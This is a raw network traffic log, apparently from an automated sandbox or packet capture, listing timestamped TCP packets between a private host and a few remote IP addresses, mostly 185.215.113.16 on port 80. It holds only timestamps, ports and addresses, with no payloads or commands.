Dec 12, 2024 21:50:37.144398928 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.144435883 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.144455910 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.144505024 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.144510984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.144563913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.144697905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.144731045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.144879103 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.145582914 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.145682096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.146667004 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.146791935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.147686958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.147828102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.148757935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.148897886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.149983883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.150044918 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.150809050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.150947094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.151959896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.152056932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.153049946 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.153085947 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.153130054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.154176950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.154278994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.155333996 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.155440092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.156409979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.156517029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.157531977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.157645941 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.158648014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.158766031 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.159827948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.159919977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.160871029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.160993099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.161953926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.162069082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.163070917 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.163167000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.164199114 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.164319992 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.164321899 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.164582014 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.164582014 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.164707899 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.165298939 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.165401936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.166003942 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.166450024 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.166532040 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.167588949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.167624950 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.167721033 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.168665886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.168787003 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.169790983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.169866085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.170072079 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.170866966 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.171003103 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.258853912 CET	49952	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:37.258862972 CET	49951	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:37.258915901 CET	443	49952	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:37.258953094 CET	443	49951	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:37.259568930 CET	49952	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:37.259577990 CET	49951	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:37.260848045 CET	49952	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:37.260883093 CET	443	49952	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:37.261923075 CET	49951	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:37.261966944 CET	443	49951	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:37.265010118 CET	49953	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:50:37.304780960 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.304881096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.305214882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.305406094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.306035995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.306364059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.306488037 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.306638002 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.307436943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.307491064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.307611942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.307661057 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.308588982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.308640957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.308711052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.308758974 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.309669018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.309742928 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.309789896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.309863091 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.310777903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.310827017 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.310936928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.310983896 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.311882019 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.311932087 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.311979055 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.312026024 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.312978029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.313024998 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.313056946 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.313103914 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.314122915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.314210892 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.314598083 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.315205097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.315252066 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.315304995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.315355062 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.316314936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.316363096 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.316416979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.316462994 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.317404985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.317451954 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.317503929 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.317550898 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.318608046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.318656921 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.318691015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.318734884 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.319808960 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.319878101 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.319912910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.319961071 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.320800066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.320847034 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.320924044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.320971012 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.321984053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.322032928 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.322113991 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.322161913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.323004007 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.323054075 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.323107958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.323153973 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.324161053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.324209929 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.324255943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.324301958 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.325225115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.325269938 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.325315952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.325364113 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.326328039 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.326375008 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.326426983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.326473951 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.327487946 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.327536106 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.327600002 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.327646971 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.328588963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.328636885 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.328689098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.328733921 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.329739094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.329782963 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.329905987 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.329953909 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.330794096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.330851078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.331006050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.331053972 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.331922054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.331988096 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.332012892 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.332082987 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.333014965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.333062887 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.333112001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.333161116 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.334135056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.334218979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.334362030 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.335259914 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.335402012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.336359978 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.336407900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.336497068 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.336518049 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.336604118 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.337512016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.337560892 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.337593079 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.337649107 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.338591099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.338692904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.338705063 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.338742018 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.339827061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.339910030 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.340223074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.340272903 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.340842962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.340894938 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.340941906 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.340992928 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.341967106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.342017889 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.342063904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.342112064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.343067884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.343121052 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.343175888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.343221903 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.344173908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.344280958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.344486952 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.345280886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.345372915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.346436977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.346555948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.347510099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.347606897 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.348639965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.348829985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.349124908 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.349193096 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.349749088 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.349802971 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.349872112 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.349919081 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.350856066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.350908041 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.351011992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.351059914 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.351969957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.352024078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.352070093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.352118969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.353069067 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.353118896 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.353164911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.353214025 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.354202032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.354250908 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.354302883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.354598045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.355339050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.355447054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.355526924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.356432915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.356482029 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.356626034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.356673002 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.357986927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.358035088 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.358071089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.358119011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.358933926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.358979940 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.359009027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.359056950 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.359934092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.360008001 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.360059023 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.360100985 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.361186981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.361227036 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.361252069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.361299038 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.362282038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.362330914 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.362385035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.362432003 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.363189936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.363238096 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.384968042 CET	80	49953	34.107.221.82	192.168.2.6
Dec 12, 2024 21:50:37.385054111 CET	49953	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:50:37.385225058 CET	49953	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:50:37.496768951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.496896982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.497029066 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.497247934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.497387886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.498488903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.498521090 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.498569012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.498960972 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.499490976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.499778986 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.499782085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.500091076 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.500613928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.500699043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.500854015 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.501836061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.501965046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.502165079 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.502835989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.503052950 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.503099918 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.503341913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.504002094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.504118919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.504278898 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.505114079 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.505301952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.505316019 CET	80	49953	34.107.221.82	192.168.2.6
Dec 12, 2024 21:50:37.505477905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.506174088 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.506289005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.506494045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.507281065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.507483006 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.507663965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.507941008 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.508435965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.508645058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.508675098 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.508713961 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.509613991 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.509880066 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.510160923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.510643005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.510691881 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.510906935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.511307001 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.511785030 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.512048006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.512048960 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.512201071 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.512996912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.513185978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.513448954 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.513997078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.514060020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.514275074 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.515084028 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.515300035 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.515686035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.516197920 CET	80	49942	185.215.113.16	192.168.2.6
